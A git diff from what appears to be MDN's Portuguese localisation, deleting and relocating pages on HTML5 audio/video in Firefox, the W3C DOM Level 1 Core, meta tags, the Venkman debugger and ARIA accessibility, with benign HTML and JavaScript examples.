diff --git "a/files/pt-pt/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" "b/files/pt-pt/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" deleted file mode 100644 index 36d7159a51..0000000000 --- "a/files/pt-pt/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Usando_áudio_e_vídeo_no_Firefox -slug: Usando_áudio_e_vídeo_no_Firefox ---- -

{{ gecko_minversion_header("1.9.1") }}

-

O Firefox 3.5 introduz suporte para os elementos audio e video do HTML 5, oferecendo a capacidade de facilmente embutir mídia em documentos HTML. Atualmente são suportados os formatos de mídia Ogg Theora, Ogg Vorbis e WAV.

-

Embutindo mídia

-

Embutir mídia no seu documento HTML é simples:

-
<video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" autoplay>
-  Your browser does not support the <code>video</code> element.
-</video>
-
-

Este exemplo roda um video de amostra do web site Theora, por exemplo.

-

Múltiplos arquivos fonte podem ser especificados usando o elemento source (en) a fim de proporcionar vídeo/áudio codificados em diferentes formatos para diferentes navegadores. Por exemplo:

-
<video controls>
-  <source src="foo.ogg" type="video/ogg">
-  <source src="foo.mp4">
-  Your browser does not support the <code>video</code> element.
-</video>
-
-

tocará um arquivo Ogg em navegadores que suportem o formato Ogg. Se o navegador não suportar Ogg, ele tentará usar o arquivo MPEG-4.

-

Você pode também especificar quais codecs de mídia o arquivo requere; isto permite ao navegador, tomar decisões cada vez mais inteligentes:

-
<video controls>
-  <source src="foo.ogg" type="video/ogg; codecs=&quot;dirac, speex&quot;">
-  Your browser does not support the <code>video</code> element.
-</video>
-

Aqui nós especificamos que o vídeo usa os codecs Dirac e Speex. Se o navegador suportar Ogg, mas não os codecs especificados, o vídeo não será carregado.

-

Se o atributo type não for especificado, o tipo da mídia é obtido pelo servidor e checado para ver se o Gecko pode lidar com ele; se ele não puder ser renderizado, a próxima fonte é checada. Se nenhum dos elementos source especificados puder ser usado, um evento error é expedido para o elemento video. Se o atributo type é especificado, ele é comparado com os tipos que o Gecko pode tocar, e se não for reconhecido, o servidor não é nem mesmo requisitado; ao invés disso, a próxima fonte é checada uma vez.

-

Controlando a reprodução de mídia

-

Uma vez que você tenha adicionado mídia no seu documento HTML, usando os novos elementos, você pode controlá-la programaticamente através do seu código JavaScript. Por exemplo, para começar (ou recomeçar) uma reprodução, você pode fazer isto:

-
var v = document.getElementsByTagName("video")[0];
-v.play();
-
-

A primeira linha busca o elemento video no documento e a segundo chama o método play() do elemento, como definido na interface {{ interface("nsIDOMHTMLMediaElement") }} que é usada para implementar elementos de mídia.

-

Eventos de mídia

-

Diversos eventos são enviados durante o manuseio de mídia:

- -
Nome do evento Descrição
abort Enviado quando a reprodução é abortada; por exemplo, se a mídia estiver tocando e for reiniciada, este evento é enviado.
canplay Enviado quando há dados suficientes disponíveis para que a mídia seja tocada, ao menos por alguns quadros. Corresponde ao CAN_PLAY readyState.
canplaythrough Enviado quando o estado pronto muda para CAN_PLAY_THROUGH, indicando que a mídia inteira pode ser tocada sem interrupção, assumindo que a taxa de download permaneça ao menos no nível atual.
canshowcurrentframe O quadro atual carregou e pode ser apresentado. Isto corresponde ao CAN_SHOW_CURRENT_FRAME readyState.
dataunavailable Enviado quando o estado pronto muda para DATA_UNAVAILABLE.
durationchange Os metadados foram carregados ou modificados, indicando uma mudança na duração da mídia. Isto é enviado, por exemplo, quando a mídia carregou o suficiente para se saber a sua duração.
emptied A mídia torna-se vazia; por exemplo, este evento é enviado se a mídia já foi carregada (ou parcialmente carregada), e o método load() é chamado para recarregar isto.
empty Enviado quando um erro ocorre e a mídia está vazia.
ended Enviado quando a reprodução termina.
error Enviado quando um erro ocorre. O atributo error do elemento contém mais informações.
load A mídia foi completamente obtida.
loadedfirstframe O primeiro quadro de mídia terminou de carregar.
loadedmetadata Os metadados da mídia terminaram seu carregamento; todos os atributos agora contém toda a informação que poderiam ter.
loadstart Enviado quando o carregamento da mídia inicia.
pause Enviado quando a reprodução é pausada.
play Enviado quando a reprodução começa ou continua.
ratechange Enviado quando a velocidade da reprodução muda.
seeked Enviado quando uma operação solicitada se completa.
seeking Enviado quando uma operação solicitada começa.
timeupdate O tempo indicado pelo atributo currentTime do elemento mudou.
volumechange Enviado quando o volume do áudio muda (tanto quando o volume é configurado, quando o atributo muted é mudado).
waiting Enviado quando a operação requisitada (como a reprodução) é adiada até que se complete outra operação (como uma solicitação).
-

Você pode facilmente assistir a estes eventos usando o seguinte código:

-
var v = document.getElementsByTagName("video")[0];
-
-v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
-v.currentTime = 10.0;
-
-

Este exemplo busca o primeiro elemento video no documento e anexa um evento listener a ele, olhando para o evento solicitado, que é enviado sempre que uma operação solicitada é completada. O listener simplesmente pede ao método play() do elemento, que inicia a reprodução.

-

Então, na linha 4, o exemplo configura o atributo currentTime do elemento para 10.0, o que inicia uma operação de solicitação até a marca de 10 segundos na mídia. Isto causa o envio de um evento seeking quando a operação começa, então um evento seeked é expedido quando a solicitação é completada.

-

Em outras palavras, este exemplo solicita até os 10 segundos da marca na mídia, e então começa a reprodução assim que a solicitação é finalizada.

-

Opções de fallback

-

O código HTML incluído entre, por exemplo, as tagas <video> e </video> é processado por navegadores que não suportam o elemento media do HTML 5. Você pode tirar vantagem deste fato para proporcionar um fallback de mídia alternativa para estes navegadores.

-

Esta seção proporciona duas possíveis opções de fallback para vídeo. Em cada caso, se o navegador suportar o elemento video do HTML 5, este será usado; caso contrário, a opção fallback será usada.

-

Usando Flash

-

Você pode usar o Flash para tocar um filme em formato Flash se o elemento video não for suportado:

-
<video src="video.ogv" controls>
-    <object data="flvplayer.swf" type="application/x-shockwave-flash">
-      <param value="flvplayer.swf" name="movie"/>
-    </object>
-</video>
-
-

Note que você não inclui class ou id na tag object para que seja compatível com outros navegadores além do Internet Explorer.

-

Tocando vídeos Ogg usando um miniaplicativo Java

-

Aqui está um miniaplicativo Java chamado Cortado que você pode usar como fallback para tocar vídeos Ogg em navegadores que tenham suporte a Java, mas não ao elemento video do HTML 5:

-
<video src="my_ogg_video.ogg" controls width="320" height="240">
-  <object type="application/x-java-applet"
-          width="320" height="240">
-     <param name="archive" value="cortado.jar">
-     <param name="code" value="com.fluendo.player.Cortado.class">
-     <param name="url" value="my_ogg_video.ogg">
-  </object>
-</video>
-
-

Veja também

- -

 {{ languages( { "en": "en/Using audio and video in Firefox", "fr": "fr/Utilisation_d'audio_et_video_dans_Firefox", "es": "es/Etiquetas audio y video en Firefox" } ) }}

diff --git a/files/pt-pt/using_the_w3c_dom_level_1_core/index.html b/files/pt-pt/using_the_w3c_dom_level_1_core/index.html deleted file mode 100644 index ff80acdcf4..0000000000 --- a/files/pt-pt/using_the_w3c_dom_level_1_core/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Utilizando o Núcleo DOM de Nível 1 do W3C -slug: Using_the_W3C_DOM_Level_1_Core -tags: - - DOM -translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core ---- -

O 'Núcleo DOM de Nível 1 do W3C' é um modelo de objetos poderoso para alterar o conteúdo de uma árvore de documentos. É suportado em todos os navegadores principais, incluindo o Mozilla Firefox e o Microsoft Internet Explorer. É uma base poderosa para scrips na Web.

- -

 O que é uma árvore de conteúdos?

- -

Muitos autores HTML pensam que o HTML é algo plano -- um punhado de texto com tags no meio. Entretanto, é muito mais do que somente isso. Qualquer documento HTML (ou do mesmo modo em qualquer documento SGML ou XML) é uma estrutura de árvore. Por exemplo, o seguinte documento e estrutura de árvore são similares (embora não sejam idênticos -- veja as notas em espaços em branco no DOM):

- -
<html>
-<head>
-  <title>My Document</title>
-</head>
-<body>
-  <h1>Header</h1>
-  <p>Paragraph</p>
-</body>
-</html>
-
- -

image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg

- -

Quando o Mozilla interpreta um documento, ele constrói uma árvore de conteúdos e então a utiliza para mostrar o documento.

- -

Os termos utilizados para descrever árvores se aparecem frequentemente no Núcleo DOM Nível 1. Cada uma das caixas desenhadas na árvore acima é um nó na árvore. A linha acima de um nó expressa um relacionamento pai-filho: o nó ao topo é o pai, e o nó abaixo é o filho. Dois filhos do mesmo pai são, portanto, irmãos. Similarmente, pode-se referenciar ancestrais e descentes (Apesar de primos serem um tanto confusos).

- -

O que o Núcleo DOM Nível 1 me permite fazer?

- -

O DOM Nível 1 da W3C permite que você altere o conteúdo da árvore do modo que você desejar. É poderoso o bastante para construir qualquer documento HTML a partir do zero. Ele permite autores alterar qualquer coisa no documento a partir de um script, a qualquer instante. O modo mais fácil de um autor de uma página alterar o DOM dinamicamente é utilizando JavaScript. Em JavaScript, o documento é acessível do mesmo modo que em navegadores antigos: através da propriedade document do objeto global. Esse objeto document implementa a interface Document da especificação do Nível 1 do DOM do W3C.

- -

Um exemplo simples

- -

Suponha que autor queira  pegar o documento acima e alterar o conteúdo do cabeçalho, e escrever dois parágrafos ao invés de um. O seguinte script irá fazer o trabalho:

- -
// document.getElementsByTagName("H1") retorna um NodeList dos elementos H1
-// no documento, e o primeiro é o número 0:
-var header = document.getElementsByTagName("H1").item(0);
-
-// o firstChild do cabeçalho é um Text node, e a propriedade data
-// do text node contém seu texto:
-header.firstChild.data = "A dynamic document";
-// agora o cabeçalho é "A dynamic document".
-
-// Recupera o primeiro elemento P no documento do mesmo modo:
-var para = document.getElementsByTagName("P").item(0);
-// e altera seu texto também:
-para.firstChild.data = "This is the first paragraph.";
-
-// cria um novo Text node para o segundo parágrafo
-var newText = document.createTextNode("This is the second paragraph.");
-// cria um novo Element para ser o segundo parágrafo
-var newElement = document.createElement("P");
-// insere o texto no segundo parágrafo
-newElement.appendChild(newText);
-// e coloca o parágrafo no final do documento acrescentando-o ao
-// BODY (que é o pai de para)
-para.parentNode.appendChild(newElement);
-
- -

Você pode ver esse script como um exemplo completo.

- -

Como posso aprender mais?

- -

Agora que você está familiarizado com os conceitos básicos do DOM há um documento explicando os métodos fundamentais do DOM Nível 1. Ele é o acompanhamento desse documento.

- -

Veja também a especificação do Núcleo DOM Nível 1 do W3C. É uma especificação razoavelmente clara, apesar de sua formalidade. A principal utilidade para os autores é a descrição dos diferentes tipos de objetos DOM e todas as suas propriedades e métodos. Veja também nossa outra documentação DOM.

- -
-

Original Document Information

- - -
diff --git a/files/pt-pt/utilizando_meta_tags/index.html b/files/pt-pt/utilizando_meta_tags/index.html deleted file mode 100644 index 5ccaa1a490..0000000000 --- a/files/pt-pt/utilizando_meta_tags/index.html +++ /dev/null @@ -1,377 +0,0 @@ ---- -title: Utilizando meta tags -slug: Utilizando_meta_tags -tags: - - HTML - - Todas_as_Categorias ---- -

 

- -

Meta dados incorporados ao código XHTML são, na verdade, estruturas de dados sobre os próprios dados, uma breve descrição do conteúdo da página, seu autor, data de criação, linguagem e outras informações relevantes.

- -

Alguns sistemas de busca dão aos conteúdos das meta tags uma forte ênfase no ranking dos sites, a maioria deles indexa os dados das meta tags description e keywords como sumários da página.

- -

Se estas tags forem usadas correta e racionalmente elas podem aumentar a relevância nos resultados de busca o que é vantajoso tanto para o proprietário do site quanto para seu usuário.

- -

Prós e Contras

- -

Como qualquer ferramenta, a utilização das meta tags tem seus prós e contras, vale ressaltar que o uso consciente de suas potencialidades pode praticamente anular seu lado negativo. Seguem algumas dicas:

- -

Mantenha as meta tags simples e concisas: Descrições muito longas e palavras-chave em excesso serão ignoradas por alguns buscadores, inclusive, alguns deles indexam apenas as seis primeiras keywords. Sistemas de indexação podem também identificar o chamado "metatag spamming", onde as palavras-chave são repetidas várias vezes, penalizando, assim, o site em seu ranking.

- -

Dê prioridade às palavras-chave mais importantes: Uma vez que alguns sistemas de indexação lêem somente algumas das keywords é importante listar as mais importantes primeiro.

- -

Evite o uso da meta tag REFRESH para redirecionamento: Antigamente muito usada, hoje deve ser evitada, primeiramente porque ela tende a confundir os bancos de dados dos sistemas de indexação e depois porque confundem também ao usuário, especialmente os que porventura estejam navegando com leitores de tela.

- -

Não abuse das meta tags: Meta tags fornecem informações usadas para categorizar, priorizar e rankear websites além de controlar seu conteúdo pelos webmasters e/ou autores, mas este privilégio não deve ser abusado. Como dito anteriormente muitos sistemas de indexação são "inteligentes" o suficientes para perceber quando há este tipo de abuso, penalizando o site em sua colocação no ranking.

- -

Para o Google, elas não existem! Devido à grande quatidade de "metatag spamming" o robô de busca do Google foi programado para ignorá-las! Ele indexa parte do conteúdo da própria página em seu banco de dados ao invés da "description".

- -

Tipos de meta tags

- -

HTTP-EQUIV

- -

Meta tags com o atributto HTTP-Equiv são equivalentes aos cabeçalhos http. Normalmente elas controlam as ações dos browsers e podem ser usadas para melhor especificar as informações.

- -

Tags usadas desta forma têm um efeito equivalente quando sendo usadas como um cabeçalho HTTP.

- -

Nota: Enquanto este tipo de meta tags funciona normalmente no Netscape, outros browsers podem ignorá-las. Elas também são ignoradas por servidores proxy, que vêm se tornando muito comuns. É mais recomendável usar o cabeçalho HTTP equivalente, como, por exemplo, do Apache.

- -

Os cabeçalhos HTTP são definidos em

- -

HTTP 1.0 e HTTP 1.1

- -

Estes cabeçalhos podem ser gerados por scripts CGI e no Apache usando um arquivo contendo meta dados.

- -

Name

- -

Meta tags com o atributo "name" são usadas para tipos que não correspondem a cabeçalhos HTTP. Muitas vezes esta distinção é ignorada. Por exemplo, alguns buscadores reconhecem a meta tag "Keywords" com o tipo "http-equiv", outros com o tipo "name".

- -

Dublin Core

- -

Com o objetivo de melhorar a indexação das páginas pelos motores de busca, muitos grupos de desenvolvedores acabam criando sua própria "liguagem de metatags", a mais popular delas pertence ao projeto Dublin Core iniciado em 1995 buscando, segundo organizadores, mais flexibilidade para os autores.

- -

Site oficial do projeto: http://www.dublincore.org

- -

Lista de Metatags, atributos e especificações

- -

Apesar de todo o alvoroço existente em torno dos meta dados, muitas pessoas ainda não tem um conhecimento adequado da maioria dos recursos que estas ferramentas proporcionam, abaixo segue uma lista das principais meta tags, seus valores e funcionalidades.

- -

Nota: As palavras-chave "http-equiv", "name" e "content" são case-insensitive, assim como seus valores, mas segundo as especificações do XHTML, todo o código deve ser em letras minúsculas.

- -

Author

- -

O nome do autor da página.

- -
<meta name="author" content="André" />
-
- -

Cache-Control

- -

Esta tag é apenas reconhecida pelo http 1.1 e permite os seguintes valores:

- - - - - - - - - -

Nota: A diretiva "cache-control:no-cache" tem a mesma função de "pragma:no-cache". O ideal quando se usa essa instrução é utilizar ambas as formas caso não se saiba se o servidor é ou não compatível com o HTTP 1.1.

- -
<meta http-equiv="cache-control"   content="no-cache" />
-
- -

Content-language

- -

Declara a(s) linguagem(ns) natural(is) do documento. Pode ser usada pelos motores de busca para categorizar por idioma.

- -
<meta http-equiv="content-language" content="pt-br, en-US, fr" />
-
- - - -
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
-
- - - -

Como o nome já diz declara o direito autoral da página.

- -
<meta name="copyright" content="© 2004 tex   texin" />
-
- -

Description

- -

Contém uma descrição da página

- -
<meta name="description" content="...resumo da página..." />
-
- -

Expires

- -

A data e a hora depois dos quais o documento deve ser considerado como expirado. Uma data ilegal como, por exemplo "0" é considerada como "agora".

- -

Configurar "Expires" como "0" pode também ser usado para forçar uma nova checagem a cada visita do robô de busca.

- -

Nota: Alguns robôs de busca podem deletar um documento de seu banco de dados ao encontrá-lo expirado, outros podem marcar uma revisita

- -
<meta http-equiv="expires" content = "Mon, 22 jul 2006 11:12:01 GMT" />
-
- -

Keywords

- -

As keywords tipicamente são usadas por alguns motores de busca para indexar os documentos juntamente com informações encontradas em seu título e body.

- -

As frases ou palavras devem ser separadas por vírgulas.

- -
<meta name="keywords" content="..palavras-chave do documento" />
-
- -

Pragma no-cache

- -

Faz com que o navegador não armazene a página em cache. Diferencia-se de "cache-control:no-cache" pelo fato de ser reconhecida por todas as versões do HTTP.

- -
<meta http-equiv="pragma" content="no-cache" />
-
- -

Refresh

- -

Especifica um tempo em segundos para o browser atualizar a página, opcionalmente pode-se adicionar uma URL para a qual será redirecionado.

- -
<meta http-equiv="refresh" content="15;url=http://www.thechessman.org" />
-
- -

Robots

- -

Especifica informações de indexação para os robôs de busca, suporta os seguintes valores:

- - - - - - - - - - - - - - - -
<meta name="robots" content="all" />
-
- -

GoogleBoot

- -

 

- -

Em adição com a meta tag "Robots", o Google suporta um commando "GoogleBoot". Dizendo ao google que não quer que a página seja indexada.

- -

Nota: A página continuará a ser indexada pelos outros buscadores

- -
<meta name="googlebot" content="NoIndex" />
-
- -

 

- -

Imagetoolbar

- -

No internet explorer elimina aquela pequena barra de opções que aparece ao passarmos o mouse por cima de uma imagem

- -
<meta http-equiv="imagetoolbar" content="no" />
-
- -

Generator

- -

Indica o software usado para criar a página como forma de medir a popularidade do produto.

- -
<meta name="generator" content="Dreamweaver 8" />
-
- -

Revisit-After

- -

Diz para os servidores proxy refazer o cache da página depois de um tempo específico.

- -

Esta meta tag não faz com que os motores de busca voltem para sua página, eles fazem isso em períodos aleatórios.

- -
<meta name="revisit-after" content="15 days" />
-
- -

Rating

- -

Esta tag funciona para classificar a página por censura, assim como no cinema, suporta os valores:

- - - - - - - -
<meta name="rating" content="general" />
-
- -

Content-Script-Type

- -

Define o tipo padrão da linguagem de script do documento.

- -
<meta http-equiv="content-script-type" content="text/javascript" />
-
- -

Content-Style-Type

- -

Define o tipo padrão de linguagem para estilização do documento.

- -
<meta http-equiv="content-style-type" content="text/css" />
-
- -

DC.title

- -

Desempenha a mesma função da tag "title", e deve conter o mesmo valor.

- -
<meta name="DC.title" content="Mr.TheChessMan - Impressões Ideológicas" />
-
- -

DC.Creator

- -

Tem o mesmo papel da meta tag "Author"

- -
<meta name="DC.creator " content="Gazola, André" />
-
- -

DC.Creator.adress

- -

E-mail para contato com o autor da página.

- -
<meta name="DC.creator.address" content=mr.thechessman@gmail.com" />
-
- -

DC.Suject

- -

Tem a mesma função da meta "Keywords".

- -
<meta name="DC.subject" content="metadata, metatags, dublin core,web design" />
-
- -

DC.Description

- -

Tem a mesma função da meta "Description".

- -
<meta name="DC.description" content="..aqui vai a descrição da página.." />
-
- -

DC.Publisher

- -

Nome da organização que é responsável pelo documento.

- -
<meta name="DC.publisher" content="Info Web Design" />
-
- -

DC.Custodian

- -

Normalmente, o webmaster responsável pela página.

- -
<meta name="Custodian" content="Gazola, André" />
-
- -

DC.Date.Created

- -

Data de criação da página no formato AAAA-MM-DD.

- -
<meta name="DC.date.created" content="2006-02-01" />
-
- -

DC.Date.Modified

- -

Última data de modificação do documento, importante para buscas por data.

- -
<meta name="DC.date.modified" content="2006-02-01" />
-
- -

DC.Identifier

- -

URL do documento.

- -
<meta name="DC.Identifier" content="http://www.thechessman.org">
-
- -

DC.Format

- -

Especifica o tipo de dados contidos no documento.

- - - - - - - - - - - - - -
<meta name="DC.format" content="text/xhtml" />
-
- -

DC.Type

- -

Text, Home Page, menu, image, vídeo, dados, software ou sound são alguns dos valores suportados.

- -
<meta name="DC.type" content="text.homepage.institucional" />
-
- -
-

Informações Sobre o Documento Original

- - -
diff --git a/files/pt-pt/venkman/index.html b/files/pt-pt/venkman/index.html deleted file mode 100644 index 198520d03c..0000000000 --- a/files/pt-pt/venkman/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Venkman -slug: Venkman -tags: - - Desenvolvimento_Web - - 'Desenvolvimento_Web:Ferramentas' - - 'Extensões:Ferramentas' - - Ferramentas - - JavaScript - - 'JavaScript:Ferramentas' - - Todas_as_Categorias - - Venkman ---- -

 

- -

Venkman é um depurar JavaScript baseado no Mozilla.

- -

Artigos no MDC sobre Venkman

- - - - - -

Iniciação no Venkman

- - - -

Recursos

- -

Siga os seguintes links para mais informações sobre o Venkman:

- - - - - -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/web/accessibility/aria/aria_techniques/usando_o_role_status/index.html b/files/pt-pt/web/accessibility/aria/aria_techniques/usando_o_role_status/index.html deleted file mode 100644 index 23374a0329..0000000000 --- a/files/pt-pt/web/accessibility/aria/aria_techniques/usando_o_role_status/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Utilizar o role status -slug: Web/Accessibility/ARIA/ARIA_Techniques/Usando_o_role_status -tags: - - ARIA - - Acessibilidade - - RequerConteúdo -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role ---- -

Descrição

- -

Esta técnica demonstra como usar o role status, e descreve ainda o seu impacto em browsers e tecnologia assistiva.

- -

role status é um tipo de live region para avisos que não são suficientemente importantes para constarem de um alert. Tais avisos são normalmente apresentados como uma barra de estado. Quando o role é adicionado ao elemento, o browser envia um evento de estado para produtos de tecnologia assitiva, que por sua vez podem alertar o utilizador.

- -

Informação de status tem de ser fornecida num objeto de status, objeto este que não deve poder ser focado. Se outra parte da página controla o que aparece como status, deve-se utilizar o atributo aria-controls para relacionar essa parte da página com o objeto de status.

- -

Produtos de tecnologias assistiva podem reservar determinadas células de uma tela Braille para exibir o status.

- -

Possível impacto em user agents e tecnologia assistiva 

- -

Quando o role status é adicionado a um elemento, ou quando esse elemento fica visível, o user agent deve:

- - - -

Produtos de tecnologia assistiva devem captar o evento de estado e notificar o utilizador adequadamente:

- - - -
Nota: Opiniões sobre como produtos de tecnologia assistiva lidam com esta técnica podem variar. A informação acima é apenas uma dessas opiniões, pelo que não pode ser considerada normativa.
- -

Exemplos

- -

Exemplo 1: Adicionar o role status em HTML

- -

O snippet em baixo mostra como se pode adicionar o role de status diretamente em código HTML. 

- -
<p role="status">Your changes were automatically saved.</p> 
- -

Exemplos a Correr:

- - - -

Notas 

- -

Atribuos ARIA utilizados

- - - -

Técnicas ARIA relacionadas 

- - - -

Compatibilidade

- - - -

Mais recursos

- - diff --git a/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html b/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html new file mode 100644 index 0000000000..23374a0329 --- /dev/null +++ b/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html @@ -0,0 +1,82 @@ +--- +title: Utilizar o role status +slug: Web/Accessibility/ARIA/ARIA_Techniques/Usando_o_role_status +tags: + - ARIA + - Acessibilidade + - RequerConteúdo +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role +--- +

Descrição

+ +

Esta técnica demonstra como usar o role status, e descreve ainda o seu impacto em browsers e tecnologia assistiva.

+ +

role status é um tipo de live region para avisos que não são suficientemente importantes para constarem de um alert. Tais avisos são normalmente apresentados como uma barra de estado. Quando o role é adicionado ao elemento, o browser envia um evento de estado para produtos de tecnologia assitiva, que por sua vez podem alertar o utilizador.

+ +

Informação de status tem de ser fornecida num objeto de status, objeto este que não deve poder ser focado. Se outra parte da página controla o que aparece como status, deve-se utilizar o atributo aria-controls para relacionar essa parte da página com o objeto de status.

+ +

Produtos de tecnologias assistiva podem reservar determinadas células de uma tela Braille para exibir o status.

+ +

Possível impacto em user agents e tecnologia assistiva 

+ +

Quando o role status é adicionado a um elemento, ou quando esse elemento fica visível, o user agent deve:

+ + + +

Produtos de tecnologia assistiva devem captar o evento de estado e notificar o utilizador adequadamente:

+ + + +
Nota: Opiniões sobre como produtos de tecnologia assistiva lidam com esta técnica podem variar. A informação acima é apenas uma dessas opiniões, pelo que não pode ser considerada normativa.
+ +

Exemplos

+ +

Exemplo 1: Adicionar o role status em HTML

+ +

O snippet em baixo mostra como se pode adicionar o role de status diretamente em código HTML. 

+ +
<p role="status">Your changes were automatically saved.</p> 
+ +

Exemplos a Correr:

+ + + +

Notas 

+ +

Atribuos ARIA utilizados

+ + + +

Técnicas ARIA relacionadas 

+ + + +

Compatibilidade

+ + + +

Mais recursos

+ + diff --git a/files/pt-pt/web/accessibility/aria/index.html b/files/pt-pt/web/accessibility/aria/index.html new file mode 100644 index 0000000000..d49bc53276 --- /dev/null +++ b/files/pt-pt/web/accessibility/aria/index.html @@ -0,0 +1,122 @@ +--- +title: ARIA +slug: Web/Acessibilidade/ARIA +tags: + - ARIA + - Acessibilidade + - Web +translation_of: Web/Accessibility/ARIA +--- +

Accessible Rich Internet Applications (ARIA) define as maneiras para tornar o conteúdo da Web e aplicações da Web (especialmente aqueles desenvolvidos com Ajax e JavaScript) mais acessíveis para as pessoas com deficiência. Por exemplo, ARIA permite marcos de navegação acessíveis, widgets de JavaScript, dicas de formulário e mensagens de erro, atualizações de conteúdo live e muito mais.

+ +

ARIA é um conjunto de atributos de acessibilidade especiais que podem ser adicionados a qualquer marcação, mas é especialmente adequado para HTML. . O atributo role define que tipo geral de objeto é (tais como um artigo, alerta, ou cursor). Os atributos ARIA adicionais fornecem outras propriedades úteis, tais como uma descrição para um formulário ou o valor atual de uma barra de progresso.

+ +

ARIA é implementado na maioria dos navegadores populares e leitores de ecrã. No entanto, as implementações variam e as tecnologias mais antigas não o suportam bem (se for o caso). Utilize ARIA 'seguro' que se degrada graciosamente, ou peça aos utilizadores que atualizem para a nova tecnologia.

+ +
+

Nota: por favor, contribua e melhore ARIA para a próxima pessoa! Não tem tempo? Envie as sugestões para a lista de endereços de acessibilidade da Mozilla, ou canal IRC #accessibility.

+
+ +
+
+

Iniciação com ARIA

+ +
+
Introduction to ARIA
+
A quick introduction to making dynamic content accessible with ARIA. See also the classic ARIA intro by Gez Lemon, from 2008.
+
Web Applications and ARIA FAQ
+
Answers common questions about WAI-ARIA and why it's needed to make web applications accessible.
+
Videos of Screen Readers Using ARIA
+
See both real and simplified examples from around the web, including "before" and "after" ARIA videos.
+
Using ARIA
+
A practical guide for developers. It suggests what ARIA attributes to use on HTML elements. Suggestions are based on implementation realities.
+
+ +

Melhoramentos ARIA Simples

+ +
+
Enhancing Page Navigation with ARIA Landmarks
+
A nice intro to using ARIA landmarks to improve web page navigation for screen reader users. See also, ARIA landmark implementation notes and examples on real sites (updated as of July 2011).
+
Improving Form Accessibility
+
ARIA is not just for dynamic content! Learn how to improve accessibility of HTML forms using additional ARIA attributes.
+
Live regions (work-in-progress)
+
Live regions provide suggestions to screen readers about how to handle changes to the contents of a page.
+
Using ARIA Live Regions to Announce Content Changes
+
A quick summary of live regions, by the makers of JAWS screen reader software. Live regions are also supported by NVDA with Firefox, and VoiceOver with Safari.
+
+ +

ARIA para Widgets Scripted

+ +
+
Keyboard Navigation and Focus for JavaScript Widgets
+
The first step in developing an accessible JavaScript widget is to make it keyboard navigable. This article steps through the process. The Yahoo! focus management article is a great resource as well.
+
Style Guide for Keyboard Navigation
+
A challenge with ARIA is getting developers to implement consistent behavior — clearly best for users. This style guide describes the keyboard interface for common widgets.
+
+ +

ARIA - Recursos

+ +
+
Need a slider, a menu, or another kind of widget? Find resources here.
+
ARIA-Enabled JavaScript UI Libraries
+
If you're starting a new project, choose a UI widget library with ARIA support already built-in. Warning: this is from 2009 — content should be moved to an MDN page where it can be updated.
+
+
+ +
+

Lista de Endereços

+ +
+
Free ARIA Google Group
+
A place to ask questions about ARIA, as well as make suggestions for improving the ARIA documentation found on these pages.
+
+ +

Blogues

+ +

ARIA information on blogs tends to get out of date quickly. Still, there is some great info out there from other developers making ARIA work today.

+ +

Paciello Group

+ +

Accessible Culture

+ +

Comunicar Erros (Bugs)

+ +

File ARIA bugs on browsers, screen readers, and JavaScript libraries.

+ +

Exemplos

+ +
+
ARIA Examples Library
+
A set of barebones example files which are easy to learn from.
+
Accessible JS Widget Library Demos
+
jQuery, YUI
+
Yahoo! Mail
+
Yahoo! puts it all together with Yahoo! Mail, a web app that almost looks like a native app. It works very well. As a review of Yahoo! Mail by screen reader Marco Zehe says, "Keep up the good work!".
+
Yahoo! Search
+
Yahoo! has done an amazing job of advancing ARIA here, by exercising ARIA's full capabilities and sharing their techniques. Yahoo! Search uses a combination of ARIA landmarks, live regions, and widgets.
+
+ +

Esforços de  Uniformização

+ +
+
WAI-ARIA Activities Overview at W3C
+
Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)
+
WAI-ARIA Specification
+
The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.
+
WAI-ARIA Authoring Practices
+
+

Like the W3C WAI-ARIA specification, the official best practices represents a future ideal — a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.

+ +

For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.

+
+
Open AJAX Accessibility Task Force
+
The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.
+
Under Construction: WCAG 2.0 ARIA Techniques
+
The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is important when regulations or policies are based on WCAG.
+
+
+
+ + + +

Acessibilidade, AJAX, JavaScript

diff --git a/files/pt-pt/web/accessibility/index.html b/files/pt-pt/web/accessibility/index.html new file mode 100644 index 0000000000..0bf23a4fc9 --- /dev/null +++ b/files/pt-pt/web/accessibility/index.html @@ -0,0 +1,71 @@ +--- +title: Acessibilidade +slug: Web/Acessibilidade +tags: + - Acessibilidade +translation_of: Web/Accessibility +--- +

A acessibilidade no desenvolvimento da Web significa habilitar o maior número possível de pessoas para usar sites da Web, mesmo quando as habilidades dessas pessoas são limitadas de alguma forma. Aqui, fornecemos informações sobre o desenvolvimento de conteúdo para serem acessíveis.

+ +

" A acessibilidade é mais usada para descrever instalações ou amenidades para ajudar as pessoas com deficiência, como em 'acessível para cadeiras de rodas'. Isso pode se estender a sinalização de Braille, rampas para cadeiras de rodas, sinais de áudio em passagens para pedestres, contornos de passarelas, design de sites, e assim por diante ." Entrada da Wikipédia para 'Acessibilidade'

+ +

